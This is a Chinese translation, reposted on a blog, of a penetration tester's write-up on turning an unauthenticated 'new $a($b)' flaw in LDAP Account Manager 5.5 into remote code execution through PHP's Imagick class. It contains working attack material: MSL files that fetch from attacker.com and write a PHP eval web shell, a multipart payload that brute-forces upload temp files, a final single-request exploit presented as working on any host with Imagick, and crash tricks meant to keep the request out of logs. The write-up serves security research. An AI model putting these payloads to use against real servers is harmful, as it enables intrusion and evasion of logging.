译:https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
在内部渗透测试期间,我在 PHP 应用程序 LAM(LDAP 帐户管理器)中发现了一个未经身份验证的任意对象实例化漏洞。
PHP 的任意对象实例化是一个缺陷,攻击者可以在其中创建任意对象。这个缺陷可以有各种形状和大小。就我而言,易受攻击的代码可以缩短为一个简单的结构:
new $_GET['a']($_GET['b']);
就是这样。那里没有其他东西,而且我没有自定义类来为我提供代码执行或文件上传。在本文中,我将解释如何通过此构造获得远程代码执行。
发现 LDAP 帐户管理器
在我们的内部渗透测试开始时,我扫描了网络的636 / tcp端口(ssl/ldap),并发现了一个LDAP服务:
$ nmap 10.0.0.1 -p80,443,389,636 -sC -sV -Pn -n Nmap scan report for 10.0.0.1 Host is up (0.005s latency). PORT STATE SERVICE VERSION 369/tcp closed ldap 443/tcp open ssl/http Apache/2.4.25 (Debian) 636/tcp open ssl/ldap OpenLDAP 2.2.X - 2.3.X | ssl-cert: Subject: commonName=*.company.com | Subject Alternative Name: DNS:*.company.com, DNS:company.com | Not valid before: 2022-01-01T00:00:00 |_Not valid after: 2024-01-01T23:59:59 |_ssl-date: TLS randomness does not represent time
我尝试通过匿名会话访问此 LDAP 服务,但失败了:
$ ldapsearch -H ldaps://10.0.0.1:636/ -x -s base -b '' "(objectClass=*)" "*" + ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1)
但是,在我将“10.0.0.1 company.com”行放入我的 /etc/hosts 文件后,我能够连接到此 LDAP 并提取所有公开可用的数据。这意味着服务器进行了TLS SNI检查,我可以使用服务器证书中的主机名绕过它。
域“company.com”不是服务器的正确域名,但它有效。
$ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + configContext: cn=config namingContexts: dc=linux,dc=company,dc=com … $ ldapsearch -H ldaps://company.com:636/ -x -s sub -b 'dc=linux,dc=company,dc=com' "(objectClass=*)" "*" + … objectClass: person objectClass: ldapPublicKey sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAuZwGKsvsKlXhscOsIMUrwtFvoEgl …
提取信息后,我发现LDAP中几乎每个用户记录都有sshPublicKey属性,其中包含用户的SSH公钥。因此,访问此服务器意味着可以访问该客户的整个 Linux 基础结构。
由于我不知道OpenLDAP中有任何漏洞,我决定在端口443 / tcp上对任何文件和目录暴力破解Apache服务器。只有一个目录:
[12:00:00] 301 - 344B -> /lam => https://10.0.0.1/lam/
这就是我找到LAM系统的方式。
LDAP 客户经理
LDAP 帐户管理器 (LAM)是一个 PHP Web 应用程序,用于通过用户友好的 Web 前端管理 LDAP 目录。它是FreeIPA的替代品之一。
我遇到了 LAM 5.5 系统:
找到的 /lam/ 页面重定向到此处
LAM 的默认配置允许任何 LDAP 用户登录,但可以很容易地将其更改为仅接受来自指定管理组的用户。还可以强制执行其他双因素身份验证,例如Yubico或TOTP。
LAM的源代码可以从其官方GitHub页面下载。LAM 5.5 于 2016 年 9 月发布。与较新版本相比,LAM 5.5 的代码库相当差,这给了我一些挑战。
与许多 Web 应用程序相比,LAM 不打算手动安装到 Web 服务器。LAM 包含在 Debian 仓库中,通常从那里或从 deb/rpm 软件包安装。在这样的设置中,服务器上不应有配置错误,也没有其他软件。
分析 LDAP 帐户管理器
LAM 5.5 有一些脚本可供未经身份验证的用户使用。
我发现了一个LDAP注入,这是无用的,因为数据被注入到匿名LDAP会话中,还有一个任意对象实例化。
/lam/templates/help.php:
if (isset($_GET['module']) && !($_GET['module'] == 'main') && !($_GET['module'] == '')) { include_once(__DIR__ . "/../lib/modules.inc"); if (isset($_GET['scope'])) { $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber'],$_GET['scope']); } else { $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber']); } …
/lib/modules.inc:
function getHelp($module,$helpID,$scope='') { … $moduleObject = moduleCache::getModule($module, $scope); …
/lam/lib/account.inc:
public static function getModule($name, $scope) { … self::$cache[$name . ':' . $scope] = new $name($scope); …
在这里,到达的值和到达的值。在此之后,执行构造。$_GET['module']$name$_GET['scope']$scopenew $name($scope)
因此,我是否会访问该客户的整个 Linux 基础架构取决于我是否能够利用此结构进行远程代码执行。
通过自定义类或自动加载利用“新$a($b)”
在构造中,变量代表将为其创建对象的类名,变量代表将传递给对象构造函数的第一个参数。new $a($b)$a$b
如果来自 GET/POST,它们可以是字符串或字符串数组。如果它们来自 JSON 或其他地方,则可能具有其他类型,例如对象或布尔值。$a$b
让我们考虑以下示例:
class App { function __construct ($cmd) { system($cmd); } } # Additionally, in PHP < 8.0 a constructor might be defined using the name of the class class App2 { function App2 ($cmd) { system($cmd); } } 39;a']; $b = $_GET['b']; new $a($b);
在此代码中,您可以设置toorandto。在此之后,命令将被执行。$aAppApp2$buname -auname -a
如果您的应用程序中没有此类可利用的类,或者您在易受攻击的代码未包含的单独文件中具有所需的类,则可以查看自动加载函数。
自动加载函数是通过注册回调或通过定义来设置的。当尝试创建未知类的实例时,将调用它们。spl_autoload_register__autoload
39;./../classes/' . $class_name . '.php'; }); # An example of an autoloading function, works only in PHP < 8.0 function __autoload($class_name) { include $class_name . '.php'; }; # Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path spl_autoload_register();
根据 PHP 版本和自动加载函数中的代码,可能存在一些通过自动加载获取远程代码执行的方法。
在 LAM 5.5 中,我找不到任何有用的自定义类,也没有自动加载功能。
通过内置类利用“新$a($b)”
当您没有自定义类和自动加载时,您只能依赖内置的 PHP 类。
有 100 到 200 个内置的 PHP 类。它们的数量取决于 PHP 版本和安装的扩展。所有内置类都可以通过函数与自定义类一起列出:get_declared_classes
var_dump(get_declared_classes());
可以通过反射 API 找到具有有用构造函数的类。
使用通货再膨胀 API 显示构造函数及其参数:https://3v4l.org/2JEGF
如果控制多个构造函数参数,并且之后可以调用任意方法,则可以通过多种方式获取远程代码执行。但是,如果您只能传递一个参数并且不对创建的对象进行任何调用,则几乎没有任何调用。
我知道只有三种方法可以从中得到一些东西。new $a($b)
利用 SSRF + Phar 反序列化
Theclass 实现了一个构造函数,该构造函数允许连接到任何本地或远程 URL:SplFileObject
new SplFileObject('http://attacker.com/');
这允许 SSRF。此外,PHP < 8.0 中的 SSRF 可以通过 Phar 协议的技术转换为反序列化。
我不需要 SSRF,因为我可以访问本地网络。而且,我在 LAM 5.5 中找不到任何 POP 链,所以我甚至没有考虑通过 Phar 利用反序列化。
利用PDO
PDO类还有另一个有趣的构造函数:
new PDO("sqlite:/tmp/test.txt")
构造函数接受DSN字符串,允许我们使用已安装的数据库扩展连接到任何本地或远程数据库。例如,SQLite 扩展可以创建空文件。PDO
当我在目标服务器上对此进行测试时,我发现它没有任何PDO扩展。SQLite,MySQL,ODBC等都不是。
SoapClient/SimpleXMLElement XXE
在 PHP ≤ 5.3.22 和 ≤ 5.4.12 中,SoapClient 的构造函数容易受到 XXE 的攻击。SimpleXMLElement的构造函数也容易受到XXE的攻击,但它需要libxml2<2.9。
发现利用“新$a($b)”的新方法
为了发现新的利用方式,我决定扩大攻击面。我首先弄清楚 LAM 5.5 支持哪些 PHP 版本,以及它使用哪些 PHP 扩展。new $a($b)
由于 LAM 是通过 deb/rpm 软件包分发的,因此它包含一个配置文件及其所有要求和依赖项:
Package: ldap-account-manager Architecture: all Depends: php5 (>= 5.4.26) | php (>= 21), php5-ldap | php-ldap, php5-gd | php-gd, php5-json | php-json , php5-imagick | php-imagick, apache2 | httpd, debconf (>= 0.2.26) | debconf-2.0, ${misc:Depends} Recommends: php-apc Suggests: ldap-server, php5-mcrypt, ldap-account-manager-lamdaemon, perl ...
deb 包配置文件的内容(参见 GitHub)
LAM 5.5 需要 PHP ≥ 5.4.26,以及 LDAP、GD、JSON 和 Imagick 扩展。
Imagick因远程代码执行漏洞而臭名昭著,例如ImageTragig等。这就是我决定继续研究的地方。
伊玛奇克扩展
Imagick 扩展实现了多个类,包括类 Imagick。它的构造函数只有一个参数,可以是字符串或字符串数组:
Imagick 文档:https://www.php.net/manual/en/imagick.construct.php
我测试了是否接受远程方案并可以通过HTTP连接到我的主机:Imagick::__construct
在 LAM 5.5 中创建任意 Imagick 实例
接收来自 LAM 5.5 的连接
我发现目标服务器上存在 Imagick 类,执行足以强制服务器连接到我的主机。但是,目前尚不清楚创建Imagick实例是否足以触发ImageMagick中的任何漏洞。new Imagick(…)
我试图将公开可用的 POC 发送到服务器,但它们都失败了。在那之后,我决定让它变得简单,并在其中一个应用程序安全社区中寻求建议。
幸运的是,埃米尔·勒纳(Emil Lerner)来帮忙。他说,如果我可以将诸如“epsi:/local/path”或“msl:/local/path”之类的值传递给ImageMagick,它将使用它们的方案部分,例如epsi或msl来确定文件格式。
探索 MSL 格式
最有趣的ImageMagick格式是MSL。
MSL 代表 Magick 脚本语言。它是一种内置的 ImageMagick 语言,有助于读取图像、执行图像处理任务以及将结果写回文件系统。
我测试了是否允许方案:new Imagick(…)msl:
通过新的 Imagick(…) 包含一个 msl 文件
启动 HTTP 服务器以提供要通过 MSL 复制的文件
MSL方案适用于最新版本的PHP,Imagick和ImageMagick!
不幸的是,不支持 URL,我需要将文件上传到服务器才能进行制作。msl:http://attacker.com/msl:
在 LAM 中,没有允许未经身份验证的上传的脚本,我认为使用 PHP_SESSION_UPLOAD_PROGRESS 的技术会有所帮助,因为我需要一个格式良好的 XML 文件 MSL。
伊玛基克的路径解析
Imagick不仅支持自己的URL方案,还支持PHP方案(如“php://”,“zlib://”等)。我决定找出它是如何工作的。
这是我的发现。
空字节仍然有效
Imagick 参数被空字节截断,即使它包含 PHP 方案:
34;/tmp/positive.png\x00.jpg"); 34;http://attacker.com/test\x00test");
方括号可用于检测图像魔术
ImageMagick能够从文件路径末尾的方括号中读取选项,例如图像的大小或帧号:
34;/tmp/positive.png"); 34;/tmp/positive.png\x00.jpg");
这可用于确定是否控制对 ImageMagick 库的输入。
“https://”转到PHP,但“https:/”去卷曲
ImageMagick支持100多种不同的方案。
ImageMagick的一半方案映射到外部程序。可以使用以下命令查看此映射:convert -list delegate
转换列表委托的输出
通过观察输出,可以发现PHP和ImageMagick都支持HTTPS方案。convert -list delegate
此外,传递“https:/”字符串绕过 PHP 的 HTTPS 客户端并调用 curl 进程:new Imagick(…)
通过新的 Imagick 调用卷曲进程(…)
这也克服了TLS证书检查,因为使用了标志。这会将服务器的输出刷新到文件,当进程处于活动状态时,可以通过暴力强制文件名找到该文件。-k/tmp/*.dat/proc//fd/
我无法使用“https:/”接收连接来自目标服务器的方案,可能是因为没有 curl。
PHP 的数组可用于枚举文件
当我发现将请求数据刷新到和暴力强制的 curl 技术时,我测试了是否也刷新了数据。确实如此!/tmp/*.dat/proc//fd/new Imagick('http://…')
我测试了是否可以暂时使 MSL 内容出现在其中一个 Apache 工作进程中,然后从另一个工作进程中访问它。/proc//fd/
由于允许字符串数组并在第一个错误后停止处理实体,因此我能够在服务器上枚举 PID 并发现我可以从中读取文件描述符的 Apache 工作线程的所有 PID:new Imagick(…)
发现 Apache 工作进程的所有 PID 我可以从中读取文件描述符
从 ImageMagick 获取显示 PID 的连接,我可以从中读取文件描述符
我发现由于 Debian 中的一些强化,我只能访问我在其中执行代码的 Apache 工作进程,而无法访问其他进程。但是,这种技术在我的 Arch Linux 上本地工作。
RCE #1:PHP 崩溃 + 蛮力
在测试了从文件描述符包含文件的多种方法后,我发现类似的结构导致工作进程在远程 Web 服务器上崩溃:text:fd:30
工作进程将很快由父 Apache 进程重新启动
这就是最初可以上传 Web shell 的原因!
我们的想法是使用多部分/表单数据请求创建多个PHP临时文件。根据默认值,任何客户端都可以在分段请求中发送最多 20 个文件,这些文件将被保存到路径中。如果我们导致创建这些文件的工作线程崩溃,则这些文件将永远不会被删除。max_file_uploads/tmp/phpXXXXXXX ∈ [A-Za-z0-9]
如果我们发送 20,000 个这样的多部分请求,每个请求包含 20 个文件,则会导致创建 400,000 个临时文件。
20,000 × 20 = 400,000(26+26+10
)6/ 400,000 = 142,000
P(A) = 1 – (1 – 400,000/(26+26+10)6)142,000 ≈ 0.6321
因此,在 63.21% 的几率下,经过 142,000 次尝试,我们将能够猜测至少一个临时名称,并将我们的文件包含在 MSL 内容中。
发送超过 20,000 个初始请求不会加快该过程。任何导致崩溃的请求都非常慢,需要一秒钟以上。此外,创建超过 400,000 个文件可能会在文件系统上产生意外开销。
让我们构造这个多部分请求!
首先,我们需要创建一个带有 Web shell 的图像,因为 MSL 只允许图像处理:
convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positive.png
其次,让我们创建一个 MSL 文件,该文件将此图像从我们的 HTTP 服务器复制到可写 Web 目录。在LAM的配置文件中找到这样的目录并不难。
<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="http://attacker.com/positive.png" /> <write filename="/var/lib/ldap-account-manager/tmp/positive.php" /> </image>
第三,让我们把它们放在Burp Suite Intruder中:
配置打嗝套件入侵者
为了使攻击顺利进行,我设置了 PHPSESSID cookie 以防止创建多个会话文件(不要与临时上传文件混淆)并指定了服务器的直接 IP,因为事实证明我们在 10.0.0.1 上有一个平衡器将请求定向到不同的数据中心。
此外,我在 Burp 入侵者中启用了拒绝服务模式,以防止 Burp Suite 的描述符耗尽,这可能是由于服务器端的 TCP 处理不正确而发生的。
在发送了所有 20,000 个多部分请求后,我通过 Burp Intruder 暴力破解了文件:/tmp/phpXXXXXX
暴力破解 /tmp/phpXXXXXX 文件
那里没有什么可看的;所有服务器响应保持不变。但是,经过 120,000 次尝试,我们的 Web shell 上传了!
在目标服务器上执行“id”命令
在此之后,我们获得了对OpenLDAP的管理访问权限,并以最大权限控制了该客户的所有Linux服务器!
RCE #2:VID 计划
我试图在本地重现这项技术,我发现这种结构不再使ImageMagick崩溃。我深入到ImageMagick资源中寻找新的崩溃,我发现了更好的东西。text:fd:30
这是我的发现。
让我们来看看函数 ReadVIDImage,它用于解析 VID 方案:
ReadVIDImage 的源代码(参见 GitHub)
此函数调用展开文件名。Expand文件名的描述详细解释了这个函数所做的一切。
ExpandFilenames 函数的说明(请参阅 GitHub 上)
扩展文件名的调用意味着 VID 方案接受掩码,并使用它们构造文件路径。
因此,通过使用该方案,我们可以在不知道其名称的情况下将临时文件包含在 MSL 内容中:vid:
包含不知道其名称的 MSL 文件
在这之后,我发现了相当有趣的计划。两者的结合可以消除带外连接,并一举创建一个 web shell:caption:info:
通过标题上传 Web 外壳:和信息:方案
获取上传/var/lib/ldap-account-manager/tmp/positive.php文件的内容
这就是我们能够在一个请求中利用此任意对象实例化的方式,而无需任何应用程序的类!
最终有效载荷
以下是利用任意对象实例化的最终有效负载:
Class Name: Imagick Argument Value: vid:msl:/tmp/php* -- Request Data -- Content-Type: multipart/form-data; boundary=ABC Content-Length: ... Connection: close --ABC Content-Disposition: form-data; name="swarm"; filename="swarm.msl" Content-Type: text/plain <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?php @eval(@$_REQUEST['a']); ?>" /> <!-- Relative paths such as info:./../../uploads/swarm.php can be used as well --> <write filename="info:/var/www/swarm.php" /> </image> --ABC--
它应该适用于安装了 Imagick 扩展的每个系统,如果您找到合适的小工具,它可以用于反序列化。
当 PHP 运行时是 libapache2-mod-php 时,您可以通过上传 web shell 并同时使进程崩溃来阻止记录此请求:
Argument Value: ["vid:msl:/tmp/php*", "text:fd:30"]
由于该结构不适用于最新的ImageMagick,因此这是另一个:text:fd:30
Crash Construction: str_repeat("vid:", 400)
这个适用于 7.1.0-40 以下的每个 ImageMagick(2022 年 7 月 4 日发布)。
在像Nginx + PHP-FPM这样的安装中,请求不会从Nginx的日志中消失,但它不应该被写入PHP-FPM日志。
本文【php实例化对象是什么意思】由作者: 主键 提供,本站不拥有所有权,只提供储存服务,如有侵权,联系删除!
本文链接:https://www.cuoshuo.com/blog/4442.html